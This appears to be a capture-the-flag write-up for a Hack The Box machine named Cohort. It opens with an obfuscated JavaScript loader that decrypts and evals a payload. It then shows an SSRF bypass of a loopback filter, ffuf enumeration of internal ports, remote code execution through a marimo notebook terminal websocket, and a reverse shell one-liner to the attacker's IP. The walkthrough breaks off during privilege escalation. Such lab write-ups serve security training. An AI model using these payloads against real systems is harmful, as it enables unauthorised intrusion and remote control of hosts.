xfBLkrftuGlobw1F27ZGgsqt/4+0nIAj9zyY1MtggVSMHvotPjaO9adzJtuhf2lAj/ybfcqj2YkQE0J5qw9k6FWxb6TuCBUnGO4mxRLyL8IDeMvmFGBI8z3efGXRqqhKYMNdtOqm3zjnV+Yjqe6921gx3RuNb0zrBjqGQTzX8oI9vEdHKt6oii0ubr1nG33p8nnq97S+wfyER4DxWmmWv0zVr0nqcnNqFUT8UR/GcPAMVfjNlMFdrUzvndekNTnssmKkdRGgUDfwCK+QMak8eM/lVYK1/qbsjFuD80gYGSAOoXOyUmytSZyQeple3iqFDjz+9LFl7l6UMVEZo58t/ASIYGxes4Hlj8ZOBYJyKaFG+ET5L36zEte6TGtSfHSdvDa1LJzP+U2YM0xEccH4X2ErGxvloxEEnrtCfihtL5odgPbqnmfaaeM+xfyrieRdQ55aYUsSUl6g0PmKaepsuEc9cSySmnRv499PUTAKZmXicYbk3pC/XfHjEb8fOTk8YAn17sBQl7cSEvo2u10sWb9qZqYVr7yteRB+l8VcneVV1XQXI9EXedp3jtzijuyhwwu1YuRJk3Kudp6y9hy4MKK12pCxMv7K9A26UvaiO6yKkNrJKEvQOHMZ9fhZKJUZf90YYu083J0DOQezFfKVNiYdjb+Z8RfPT/b38QBt1q1buI97vVDJ43T7NwoYHxeNfLvIXpCHs8y5IldVzXPV6Via8a+85qHlCzi3W1DOtPqiSNzUOHONkXZJncBDwfCPdtdKlLICiV20i1X9Cq8v0A9S3EsKcxW00MvkpaozVN33T/i4gTRjiAL8FHrp2dVV8uGA4O+UgiE8MT/xApM3emGrKfb3xtneiDXUxsjPRqLDUKdW4Wz9i2TSphYQwzmMQvbCwBbcT7PqV3qHyUhvVb7sGpD0t2NNHYmt8YjwXNztQrwKf92rFCp9ur7QQB0R0eaKUGFoADro5xO+G8aUa5uyzUZq9GuUyKCyAmkenuxy9bm1R96nxTzFjj8nIrave+eyE1j+fRypjBagTmYp0CXMc415hgzU2W4H5EsuNBIFmYVDsMY5XM7hnUWoEdgMkgw5azghUTY4aub9tTL2OVh0UL410OKoC/NCeZxGHd+pXQaJE33FXuXj9CZKlpG/lUFtqG485S/Qg36uIGb73Br9dYix0FNHCrn3Hl5orSGXgIvOiVMbY8RKicUv0V0oNo8+A7MfgdBuOyBCa9r1jZJN0fr2V1h1aP7SFnh5TOqhGhJz/Kg8MEDEZODstS50Ak39N2L/o2rxyWjuOuM/HvDK3cyUXFwGcU+08WrOSO+PeMoIUAS9fJGZXngils2VwtUTtrIQlCFU4IPhlLJIvfG0dXGss+8areKa/TkYBy75XylW1iI9AkzUzS9Y/Y6N25iAMAn3Mt/KW4X8JgZGozi1NgXRvVxZFvmlevCYOprF0biCbcm64UYf7c8YQB5t4N878EJGvBWlt7faGg4sNNzNClcfwFr05XDsHOgxxwaROnPuEgdMAvTL8v7B+ZQ51kJuS+77ryQCj31dlRILCou5dwbjdB4wTYGZ3vAIu9ZdT/wTxuRAeqdV9xoQ8RT1qc5pU7cTD9GlCOHvIzZ5K/PtTxzd97EEs4KJ+Xz2ImHv0oVBWh2KjOS5zZz607tL0DAqfqRz5xb//2Dzlpv7k83Nq15R2hJQKTwmR33uQfVr61U1101cOHzfaT3MfxdmCfgqbqVsdK1Pz6KcH1MW0s69OfdeN2rN0Qpg09QTjJjwMeXcn2RZq5/j+fdXnk79D6FztJJDGScq+trTH9VK72HdxbvPi3nTaqR1f3LYvfz2Z7igQctsYfIciLuEtS6OKW27qiGbNrUMR1btumIB8lNdr58I4jQiwciKlhYrD4sUwv4OOjoEpFWt5pI7CsqrZWSbBRimYbfVXhrNpSjjInxRmBNZC+buCn+3A81nW+2j/KXEum6rNNQq64JNPh9Wc98vXMeVCT4Qq0Jp8E9SXu3qqqjwVFzVLzZtIYi04Zze7GLafNPcopC1kUcv/+9RASavRWvOx3v1r/tyeUPZGeOnYg1+PSmC5yMxlMX9xirhaYO+JJNH+bQn7TFh4RGvZ+Y+2jl+p6L/8SN3AfKul1uDYVt7+Y43s7xD77ZD1io86ISnEQDiXeJshCxn6EhW+LEEKLmX7PmrNal84l151ZTUVTUH87fFPhmq1Vlj+lSbmaJjBvoEGkwDltGZve0db7/nfYKppkcPCJAdwLt+qK0HbYEgR4XXBL526D0DPq+1F/URdXJsRrzIDcekKPyW689UI60ec7a/cQ9sLSdJoTYQq4Se9Qa23hwm1tKbCI7p/aaUzTCQPRcqH1WlKEP0nhoDy0tpAcoO2jFFkKxMFpmV6Ls9FCvlmn7VUqDtOxHm3V3F7U6l1TwGOOPIkr2ELv6Lu1GLE9fFNSbGp73xgLKjRa7xPw2PbdKCg95NdcazJoN70l9effO7XbanD1/Ny/z6Rj2wE/aZyvtkLQSedqCQfrA6I1L8IWU5zfoUj0D7yIGxkRwqs6Apb1kO9JZPeeAzMaJbO0U7Zr2qpmns34PizlZVRwkUwK3CadPkeLm6a/Nfzg+Et67bjQ2zeY1kHAQCmzUNqmc3VWNSa3i6ZyGknRyURjjWkj48BPy74KSiKWCvkS9oXQGiYbwr6o+v94qpc8AycQfSYh7iiAvv6Jp/NS/uZS1OhGoRtm4YoRIv8/gaLqKeTgNDDga25FFVGfM/v5bfHKLn6uiGwDkLalQeOScJx5QPVSMXm9/wfFGrGxOxfp44EKUDPLT+AapwwoGYEp9aYdEem5fEIF0DHKuDhrm7K7jAafmCTrJ05ompGglKQT7cD4QoGWxJz/kIDagncG1kMenMvYW13IIP+0OfchNPrfOqnNVOdvgWJYmqupaZ2ydw8vjemzMfl5LhHVazOQrBVTpDZNEPERxsCBoDL7sZv1i2joDcFAzngW2T/yLqAa0KxpdC8ge0yoJh3QX8acgMuj0IBGEyx96otLzwo0e4IhCI3noLlFPo4m23A+I8sYicLC8wiWZwOnUsYQeQc6DdKx/+jVvXfjMSsVNovr5iDViTH3aW1o1+kBMf//hnBIPbwzBSzWIjAAs6iNPwIy3QxPKIKd6wY1pjB8uobBlNMdu77pQPrCc1yRT6XbfnUmKTrU+MWn3uvzw/zPbKHiA2Zra3QSII4R6YrEjG2bJt+9QrQ840RajMoRp3zclcA77uzXP/FXtfpxvRXqWMIfqzXpKYOLmW8RKogK+dMkF90ByN+CwFupgrcbvxmOReypPWjtjpX/IyyG1CxSUOa9pi7gZYh+ix4MqBzcahkFhJf9YMb3QTEKTgeGZrd4AeKIT2SH4OIBhMVQraBf7I/dcK5pnMhXUJKnx7Q6UOihmj8cgG+LlABDIQbxeR2RAG81EYRrAMwFZgbb46+JMG7yk2va8dlGB+OQ6wKEGS746PCTRFv4YKALWG73O5doayn4giqWIDb5JeCkyD03xIKjLaN8ggDddzMxhawmNP2QV+9jGFbFdih170KDr+GgWffMbLmpE7lK7MZ9zflWTbNum45rUHdb1oXL5GUaQ3cowqh56ex8Gf9Pj89AGBXSFExDzrYny3JPPVWTHlIoXrE84SqfkpKTWPjzTmjXmSSy+M34zU6nWoYAdkIpP8mV5ZtDk0is1qhheTGYuNFTcyZrCZPyQqFFc/SVtYiw0VoxRk96PFhRJ69QMhzgPh8Obl4ogaJJ3qtq5BA4V/BOmDXyXRuNQgl46EV9iwW1ZDzmWK6ucw/AUnI2hKbjhZb9Q+9ucc0E6iPUugABHCTofaF8yd1u3PoZy1elzmMrQ7ITjArxIU5mJuo8H122NXOI2AtyhqOugKLZKn6/6anWZwsHWPjJNWkExP7Px1yU2dowLpRdyz5akmTDWbmBMxARowG4zPYOef2sWOemJDK7Cspv2yALX2CHGpe4Aum9QiPrCqcxHlzP0ikcxHdnkI8HRUHSSWmDl9FKJY9ds1udmokz7umlPrlVaZFz9m/HSq3//yYCIagXslFvH5LQoIFiFX84FxMDElczVf5bQxZtfItcG4jV+2chsNIubG5jR5/DnqY8nlUU8AZJZxYMhbvqByTQ+tSGaM0gllbdhn0GIaAYmUw9pA8l44q3opRep962cRCQtnF2barexfgJ4x+A/EhQES3vDLLDZcgY/VyZPtjYAIXW2kfhv4ikq/lO7g2+Zp+ehBw5hyBwAalukOiMh0JmioJ6rSQhhObUitouZv4emDjW6oyxzYWWkWDgMiIyND9aHoZqu3hjcOO05oLMj9Qpud2";
function _0x39b581(_0x3275b6) {
var _0x5cc182 = atob(_0x3275b6);
var _0x403646 = new Uint8Array(_0x5cc182.length);
for (var _0x21e008 = 0; _0x21e008 < _0x5cc182.length; _0x21e008++) {
_0x403646[_0x21e008] = _0x5cc182.charCodeAt(_0x21e008);
}
return _0x403646;
}
function _0x7654c7() {
if (!window.crypto || !window.crypto.subtle) {
return;
}
window.crypto.subtle.importKey("raw", _0x39b581(_0x16829b), {
name: "AES-GCM"
}, false, ["decrypt"]).then(function (_0x922cef) {
return window.crypto.subtle.decrypt({
name: "AES-GCM",
iv: _0x39b581(_0xd4dcec)
}, _0x922cef, _0x39b581(_0x5189ce));
}).then(function (_0xbd5aa6) {
(0, eval)(new TextDecoder().decode(_0xbd5aa6));
}).catch(function () {});
}
if (document.readyState !== "loading") {
_0x7654c7();
} else {
document.addEventListener("DOMContentLoaded", _0x7654c7);
}
})();
Decrypt the code using provided key, and info for AES-GCM
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
/* Cohort Analytics - client-side rendered site.
The page DOM is built here at runtime (the HTML shell ships empty). Content
render + scroll-reveal + the Client Insights source validator all live here. */
(function () {
"use strict";
var HEADER = function (page) {
var right = page === "portal"
? '<a class="btn btn-ghost" href="/">Back to site</a>'
: '<a class="btn btn-ghost" href="/portal.html">Client Insights</a>';
return ''
+ '<header><div class="wrap nav">'
+ '<a class="brand" href="/"><span class="mark" aria-hidden="true"></span> Cohort Analytics</a>'
+ '<nav class="nav-links" aria-label="Primary">'
+ '<a href="/#services">Services</a><a href="/#approach">Approach</a>'
+ '<a href="/#results">Results</a><a href="/#team">Team</a></nav>'
+ '<div class="nav-cta">' + right + '</div>'
+ '</div></header>';
};
var FOOTER = ''
+ '<footer><div class="wrap"><div class="foot">'
+ '<div><a class="brand" href="/" style="color:var(--ink)"><span class="mark" aria-hidden="true"></span> Cohort Analytics</a>'
+ '<p style="margin-top:14px;max-width:34ch;">Retention intelligence for subscription businesses.</p></div>'
+ '<div class="foot-cols">'
+ '<div class="foot-col"><b>Company</b><a href="/#services">Services</a><a href="/#approach">Approach</a><a href="/#team">Team</a></div>'
+ '<div class="foot-col"><b>Clients</b><a href="/portal.html">Client Insights</a></div>'
+ '</div></div>'
+ '<p style="margin-top:34px;color:var(--ink-faint);font-size:0.84rem;">© Cohort Analytics. Registered in the United Kingdom.</p>'
+ '</div></footer>';
var HOME = ''
+ '<section class="hero"><div class="wrap hero-grid"><div>'
+ '<h1>Retention is a measurement problem before it is a growth problem.</h1>'
+ '<p class="lede">We help subscription teams read their cohort data honestly, find where accounts quietly slip away, and decide what to fix first.</p>'
+ '<div class="hero-cta"><a class="btn btn-primary" href="/portal.html">Open Client Insights</a>'
+ '<a class="btn btn-ghost" href="/#approach">How we work</a></div></div>'
+ '<div class="hero-figure reveal"><div class="viz">'
+ '<div class="viz-head"><span>Retention by cohort</span><span class="viz-tag">Q2</span></div>'
+ '<div class="viz-bars"><i style="--h:62%"></i><i style="--h:77%"></i><i style="--h:70%"></i><i style="--h:88%"></i><i style="--h:81%"></i><i style="--h:93%"></i></div>'
+ '<div class="viz-axis"><span>Jan</span><span>Feb</span><span>Mar</span><span>Apr</span><span>May</span><span>Jun</span></div>'
+ '</div></div>'
+ '</div></section>'
+ '<section id="services" class="services"><div class="wrap">'
+ '<div class="section-head"><p class="kicker">What we do</p>'
+ '<h2>Four engagements, one question: who stays, and why.</h2></div>'
+ '<div class="svc-grid">'
+ '<div class="svc lead reveal"><div><div class="num">01</div><h3>Cohort and retention modelling</h3>'
+ '<p>We rebuild your retention curves from raw events, separate true churn from billing noise, and show which acquisition cohorts actually hold.</p></div>'
+ '<p style="color:var(--ink-faint);font-size:0.9rem;margin-top:24px;">Most engagements start here, with a two-week read of your existing data.</p></div>'
+ '<div class="svc reveal"><div class="num">02</div><h3>Churn forecasting</h3><p>Survival models that estimate account-level risk on a rolling basis, scored against revenue rather than logins.</p></div>'
+ '<div class="svc reveal"><div class="num">03</div><h3>Activation analytics</h3><p>We trace the first-30-day paths that predict a renewal, then tell you which onboarding steps are worth the effort.</p></div>'
+ '<div class="svc reveal"><div class="num">04</div><h3>Reporting that gets read</h3><p>A small set of dashboards your operators trust, wired to the same definitions finance uses, refreshed on a schedule.</p></div>'
+ '<div class="svc reveal"><div class="num">05</div><h3>Source review</h3><p>Before we model anything, we validate every feed you point us at, so the numbers reconcile from day one.</p></div>'
+ '</div></div></section>'
+ '<section id="approach"><div class="wrap split">'
+ '<div class="split-media reveal viz-curve" role="img" aria-label="Illustrative retention trend"></div>'
+ '<div><h2>We work in the open, on your data, with definitions you can defend.</h2>'
+ '<p class="lede" style="margin-top:16px;">No black boxes. Every model we ship comes with the query that produced it and a plain-language note on what it assumes.</p>'
+ '<div class="steps">'
+ '<div class="step reveal"><b>A</b><p>Connect your warehouse or a read-only export, and agree on what a retained account means.</p></div>'
+ '<div class="step reveal"><b>B</b><p>Reconcile the raw feed against billing so the cohort sizes match the invoices.</p></div>'
+ '<div class="step reveal"><b>C</b><p>Model, review together, and hand back the notebook so your team can keep running it.</p></div>'
+ '</div></div></div></section>'
+ '<section id="results" class="results"><div class="wrap">'
+ '<div class="section-head"><p class="kicker">Outcomes</p><h2>What teams tend to see in the first two quarters.</h2></div>'
+ '<div class="metrics">'
+ '<div class="metric reveal"><div class="figure">20 to 40%</div><div class="label">fewer accounts misclassified as churned once billing is reconciled</div></div>'
+ '<div class="metric reveal"><div class="figure">3 weeks</div><div class="label">from kickoff to a retention model the operating team trusts</div></div>'
+ '<div class="metric reveal"><div class="figure">1 source</div><div class="label">of truth for cohort definitions, shared by product and finance</div></div>'
+ '</div>'
+ '<p class="note">Figures are representative ranges from recent engagements, not guarantees. Results depend on data quality and how quickly definitions are agreed.</p>'
+ '</div></section>'
+ '<section id="team"><div class="wrap">'
+ '<div class="section-head"><h2>A small team that does the analysis itself.</h2>'
+ '<p>No layered account management. The people who scope your engagement are the ones in your data.</p></div>'
+ '<div class="people">'
+ '<div class="person reveal"><span class="avatar" aria-hidden="true">MQ</span><div><strong>Mara Quinteros</strong><div class="role">Founder, retention modelling</div></div></div>'
+ '<div class="person reveal"><span class="avatar" aria-hidden="true">DO</span><div><strong>Devin Oyelaran</strong><div class="role">Analytics engineering</div></div></div>'
+ '</div></div></section>'
+ '<section class="cta-band"><div class="wrap inner">'
+ '<h2>Have a feed you want validated?</h2>'
+ '<a class="btn btn-primary" href="/portal.html">Open Client Insights</a>'
+ '</div></section>';
var PORTAL = ''
+ '<section class="portal"><div class="wrap">'
+ '<div class="section-head" style="margin-bottom:36px;"><span class="tag">Client Insights</span>'
+ '<h2 style="margin-top:14px;">Register a report source URL</h2>'
+ '<p>Point us at a data feed and we fetch it once to confirm it is reachable and returns a format we recognise. Validated sources are queued for reconciliation against your billing export.</p></div>'
+ '<div class="portal-grid"><div class="panel">'
+ '<form id="validate-form" novalidate>'
+ '<div class="field" id="f-url"><label for="url">Source URL</label>'
+ '<input id="url" name="url" type="url" inputmode="url" placeholder="https://reports.example.htb/exports/retention.csv" autocomplete="off" spellcheck="false">'
+ '<span class="help">The endpoint we should fetch. Public report endpoints only.</span>'
+ '<span class="err" id="e-url">Enter a source URL to validate.</span></div>'
+ '<div class="field"><label for="format">Expected format</label>'
+ '<select id="format" name="format"><option value="csv">CSV</option><option value="json">JSON</option><option value="ndjson">NDJSON</option><option value="parquet">Parquet</option></select>'
+ '<span class="help">Used to sanity-check the response before reconciliation.</span></div>'
+ '<button class="btn btn-primary" type="submit" id="submit-btn" style="width:100%;justify-content:center;">Validate source</button>'
+ '</form>'
+ '<div class="result" id="result" aria-live="polite">'
+ '<div class="rhead"><span class="dot" id="r-dot"></span><span id="r-title">Validation result</span></div>'
+ '<div class="skeleton" id="r-skel" hidden><i></i><i></i><i></i></div>'
+ '<pre id="r-body"></pre></div>'
+ '</div>'
+ '<aside class="portal-aside">'
+ '<h3>What validation checks</h3><ul>'
+ '<li>The endpoint resolves and responds within a few seconds.</li>'
+ '<li>The response status and content type look like a real export.</li>'
+ '<li>We capture a short preview so you can confirm it is the right feed.</li></ul>'
+ '<h3 style="margin-top:28px;">Notes</h3><ul>'
+ '<li>For security, internal and loopback addresses are rejected.</li>'
+ '<li>We never store credentials in the URL. Use a signed link or an allow-listed IP instead.</li>'
+ '<li>Validation does not import data. Reconciliation is a separate, scheduled step.</li></ul>'
+ '</aside></div></div></section>';
function initReveal() {
var els = document.querySelectorAll(".reveal");
if (!els.length) return;
if (!("IntersectionObserver" in window)) {
els.forEach(function (el) { el.classList.add("in"); });
return;
}
var io = new IntersectionObserver(function (entries) {
entries.forEach(function (e) {
if (e.isIntersecting) { e.target.classList.add("in"); io.unobserve(e.target); }
});
}, { threshold: 0.18 });
els.forEach(function (el) { io.observe(el); });
}
function initForm() {
var form = document.getElementById("validate-form");
if (!form) return;
var urlField = document.getElementById("f-url");
var urlInput = document.getElementById("url");
var btn = document.getElementById("submit-btn");
var result = document.getElementById("result");
var rdot = document.getElementById("r-dot");
var rtitle = document.getElementById("r-title");
var rskel = document.getElementById("r-skel");
var rbody = document.getElementById("r-body");
function setBusy(b) { btn.disabled = b; btn.textContent = b ? "Validating..." : "Validate source"; }
function show(ok, title, body) {
rskel.hidden = true;
rdot.className = "dot" + (ok ? "" : " bad");
rtitle.textContent = title;
rbody.textContent = body;
result.classList.add("show");
}
form.addEventListener("submit", function (ev) {
ev.preventDefault();
var url = (urlInput.value || "").trim();
if (!url) { urlField.classList.add("invalid"); urlInput.focus(); return; }
urlField.classList.remove("invalid");
result.classList.add("show");
rbody.textContent = "";
rtitle.textContent = "Validating source...";
rdot.className = "dot";
rskel.hidden = false;
setBusy(true);
fetch("/api/validate", {
method: "POST",
headers: { "Content-Type": "application/json", "Accept": "application/json" },
body: JSON.stringify({ url: url, format: document.getElementById("format").value })
})
.then(function (r) { return r.json(); })
.then(function (j) {
j = j || {};
if (j.ok) {
var head = "Reachable. HTTP " + (j.fetched_status != null ? j.fetched_status : "?") +
(j.content_type ? " (" + j.content_type + ")" : "");
show(true, head, (j.preview != null ? j.preview : "") || "(empty response body)");
} else {
show(false, "Could not validate source", j.message || "The source could not be validated.");
}
})
.catch(function () { show(false, "Validation service unavailable", "We could not reach the validation service. Please try again shortly."); })
.finally(function () { setBusy(false); });
});
urlInput.addEventListener("input", function () { urlField.classList.remove("invalid"); });
}
function render() {
var root = document.getElementById("app");
if (!root) return;
var page = root.getAttribute("data-page") || "home";
var main = page === "portal" ? PORTAL : HOME;
root.innerHTML = HEADER(page) + "<main>" + main + "</main>" + FOOTER;
root.removeAttribute("aria-busy");
initReveal();
if (page === "portal") initForm();
if (window.location.hash) {
var t = document.querySelector(window.location.hash);
if (t) t.scrollIntoView();
}
}
if (document.readyState !== "loading") render();
else document.addEventListener("DOMContentLoaded", render);
})();
From this, i identified the attack surface included the route /api/validate, this api receive input in
https://cohort.htb/portal.html
The backend server reject any internal or loopback input.
But when i try
http://127.1
It bypass the restriction
Identified SSRF vulnerability. From here, start to enumerate the web content and open port
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
┌──(nhannha㉿conmeo)-[~/htbMachine/season-11/Cohort]
└─$ ffuf -u "https://cohort.htb/api/validate" -X POST -H 'Content-Type: application/json' -d '{"url":"http://127.1:FUZZ"}' -w port.txt -k -fs 86
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : https://cohort.htb/api/validate
:: Wordlist : FUZZ: /home/kali/htbMachine/season-11/Cohort/port.txt
:: Header : Content-Type: application/json
:: Data : {"url":"http://127.1:FUZZ"}
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 86
________________________________________________
80 [Status: 200, Size: 1077, Words: 71, Lines: 1, Duration: 350ms]
22 [Status: 200, Size: 58, Words: 8, Lines: 1, Duration: 1435ms]
443 [Status: 200, Size: 412, Words: 35, Lines: 1, Duration: 211ms]
5000 [Status: 200, Size: 192, Words: 20, Lines: 1, Duration: 272ms]
8888 [Status: 200, Size: 1515, Words: 298, Lines: 1, Duration: 391ms]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
┌──(nhannha㉿conmeo)-[~/htbMachine/season-11/Cohort]
└─$ ffuf -u "https://cohort.htb/api/validate" -X POST -H 'Content-Type: application/json' -d '{"url":"http://127.1/FUZZ"}' -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -k -fs 1077
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : https://cohort.htb/api/validate
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
:: Header : Content-Type: application/json
:: Data : {"url":"http://127.1/FUZZ"}
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 1077
________________________________________________
Documents and Settings [Status: 200, Size: 58, Words: 8, Lines: 1, Duration: 241ms]
Program Files [Status: 200, Size: 58, Words: 8, Lines: 1, Duration: 212ms]
api/experiments [Status: 200, Size: 192, Words: 20, Lines: 1, Duration: 226ms]
api/experiments/configurations [Status: 200, Size: 192, Words: 20, Lines: 1, Duration: 220ms]
api [Status: 200, Size: 192, Words: 20, Lines: 1, Duration: 227ms]
assets [Status: 200, Size: 308, Words: 18, Lines: 1, Duration: 352ms]
favicon.ico [Status: 200, Size: 308, Words: 20, Lines: 1, Duration: 344ms]
reports list [Status: 200, Size: 58, Words: 8, Lines: 1, Duration: 1461ms]
status [Status: 200, Size: 548, Words: 17, Lines: 1, Duration: 1457ms]
:: Progress: [4746/4746] :: Job [1/1] :: 48 req/sec :: Duration: [0:01:20] :: Errors: 0 ::
Checking for uri status, founded interesting information.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(nhannha㉿conmeo)-[~/htbMachine/season-11/Cohort]
└─$ curl "https://cohort.htb/api/validate" -X POST -H 'Content-Type: application/json' -d '{"url":"http://127.1/status"}' -k | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 577 100 548 100 29 365 19 00:01 00:01 26
{
"ok": true,
"fetched_status": 200,
"content_type": "application/json",
"preview": "{\"service\":\"cohort-edge\",\"status\":\"ok\",\"generated_by\":\"nginx\",\"upstreams\":[{\"name\":\"marketing\",\"host\":\"cohort.htb\",\"root\":\"/var/www/cohort\"},{\"name\":\"insights-api\",\"host\":\"cohort.htb\",\"path\":\"/api/\",\"target\":\"127.0.0.1:5000\"},{\"name\":\"notebooks\",\"host\":\"nb-1be3782a8afd3ad5.cohort.htb\",\"target\":\"127.0.0.1:8888\",\"note\":\"internal analyst workspace, not for external use\"}]}",
"message": "Source reachable."
}
┌──(nhannha㉿conmeo)-[~/htbMachine/season-11/Cohort]
└─$
Access to
http://127.1:8888
Identified they’re running a notebook service on port 8888.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(nhannha㉿conmeo)-[~/htbMachine/season-11/Cohort]
└─$ curl "https://cohort.htb/api/validate" -X POST -H 'Content-Type: application/json' -d '{"url":"http://127.1:8888"}' -k | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1542 100 1515 100 27 1010 18 00:01 00:01 22
{
"ok": true,
"fetched_status": 200,
"content_type": "text/html; charset=utf-8",
"preview": "\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n<meta charset=\"UTF-8\">\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n<title>marimo</title>\n</head>\n<body style=\"\n background-color: #f4f4f9;\n display: flex;\n justify-content: center;\n align-items: center;\n height: 100vh;\n margin: 0;\">\n <form method=\"POST\" action=\"/auth/login\" style=\"\n padding: 20px;\n background-color: white;\n border-radius: 8px;\n box-shadow: 0 4px 8px rgba(0,0,0,0.1);\n width: 300px;\n text-align: center;\">\n <div style=\"margin-bottom: 20px;\">\n <label for=\"password\" style=\"\n display: block;\n margin-bottom: 5px;\n font-size: 16px;\n font-family: Arial, sans-serif;\n color: #333;\">Access Token / Password</label>\n <input id=\"password\" name=\"password\" type=\"password\" style=\"\n width: 100%;\n box-sizing: border-box;\n padding: 8px;\n border: 1px solid #ccc;\n border-radius: 4px;\">\n </div>\n <button type=\"submit\" style=\"\n background-color: #1C7362;\n color: white;\n padding: 10px 20px;\n border: none;\n border-radius: 4px;\n cursor: pointer;\n width: 100%;\n font-size: 16px;\">Login</button>\n <p style=\"color: red;\"></p>\n </form>\n</body>\n</html>\n",
"message": "Source reachable."
}
┌──(nhannha㉿conmeo)-[~/htbMachine/season-11/Cohort]
└─$
Add the sub domain to /etc/hosts and access to it, identified it using marimo.
During i am checking for marimo version, i found this, it confirmed the service was vulnerable with CVE-2026-39987
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(nhannha㉿conmeo)-[~/htbMachine/season-11/Cohort]
└─$ curl -s -i "https://nb-1be3782a8afd3ad5.cohort.htb/terminal/ws" \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: $(openssl rand -base64 16)" -k
HTTP/1.1 101 Switching Protocols
Server: nginx/1.24.0 (Ubuntu)
Date: Sun, 09 Aug 2026 02:30:17 GMT
Connection: upgrade
Upgrade: websocket
Sec-WebSocket-Accept: B72dM0T6u0IRsGdqHRWzGN6vKYE=
ls
^C
Using websocat to connected and get reverse shell
1
2
3
4
5
6
7
8
9
10
┌──(nhannha㉿conmeo)-[~/htbMachine/season-11/Cohort]
└─$ websocat -k "wss://nb-1be3782a8afd3ad5.cohort.htb/terminal/ws"
marimo@cohort:~$
id
id
uid=1000(marimo) gid=1000(marimo) groups=1000(marimo)
marimo@cohort:~$
sh -i >& /dev/tcp/10.10.17.79/4444 0>&1
sh -i >& /dev/tcp/10.10.17.79/4444 0>&1
1
2
3
4
5
6
7
┌──(nhannha㉿conmeo)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.17.79] from (UNKNOWN) [10.129.20.161] 54826
$ id
uid=1000(marimo) gid=1000(marimo) groups=1000(marimo)
$
Gain interactive shell, and get user flag.
1
2
3
4
5
marimo@cohort:~$ ls
notebooks user.txt
marimo@cohort:~$ cat user.txt
xxxxxx20c1ee674895ffadcedc562479
marimo@cohort:~$
After checking many things to perform privilege escalation, i found this when checking for dpkg packages version to identified CVE if exist. Firstly, i check for the machine OS version.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
marimo@cohort:~$ ls
notebooks user.txt
marimo@cohort:~$ cat user.txt
94068620c1ee674895ffadcedc562479
marimo@cohort:~$ uname -a
Linux cohort 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:53:05 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux
marimo@cohort:~$ uname -m
x86_64
marimo@cohort:~$ cat /etc/os-release
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.4 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo
marimo@cohort:~$
Download Trivy and create folder
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(nhannha㉿conmeo)-[~/htbMachine/season-11/Cohort]
└─$ sudo apt install trivy -y
[sudo] password for nhannha:
The following package was automatically installed and is no longer required:
libplacebo351
Use 'sudo apt autoremove' to remove it.
Installing:
trivy
Summary:
Upgrading: 0, Installing: 1, Removing: 0, Not Upgrading: 2997
Download size: 47.1 MB
Space needed: 241 MB / 3,732 MB available
